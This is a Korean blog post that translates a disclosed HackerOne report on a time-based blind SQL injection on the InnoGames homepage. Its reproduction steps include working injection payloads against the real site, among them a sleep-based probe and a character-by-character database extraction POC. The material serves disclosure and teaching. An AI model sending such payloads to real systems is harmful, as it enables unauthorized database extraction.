본문 바로가기

HackerOne/Report 번역

[SQL Injection] Blind SQL Injection

728x90

본 내용은 해커원 버그바운티에 제출된 레포트를 한국어로 번역한 내용입니다. 잘못된 내용이 있다면 언제든지 알려주세요!
원문 - https://hackerone.com/reports/758654


취약점 정보

이번엔 최대한 짧고 간결하여 이해하기 쉬운 레포트로 골랐다.
InnoGames 홈페이지에서 발견되었으며, 위험도가 높아서 2000달러의 상금을 받아갔다. (한화로 200만원이 넘는 금액이다. 부럽다!)


요약

www.innogames.com에 Time Based Blind SQL Injection 취약점이 존재한다. 특별히 만들어진 페이로드를 사용하면 데이터베이스 내용을 추출할 수 있다.

취약점 발견 지점: https://www.innogames.com/


재현방법

  1. Boolean based SQL Injection을 위해 두 가지 상태에 대한 값을 확인한다.
    Error - https://www.innogames.com/'
    No error - https://www.innogames.com/''
  2. POC를 작성한다.
    https://www.innogames.com/'xor(if(now()=sysdate(),sleep(10),0))or'
  3. 데이터를 추출하기 위한 향상된 POC이다.
    https://www.innogames.com/'xor(if(mid(database(),1,1)=0x41,sleep(63),0))or'

영향력

공격자는 DB의 정보를 추출할 수 있다.

728x90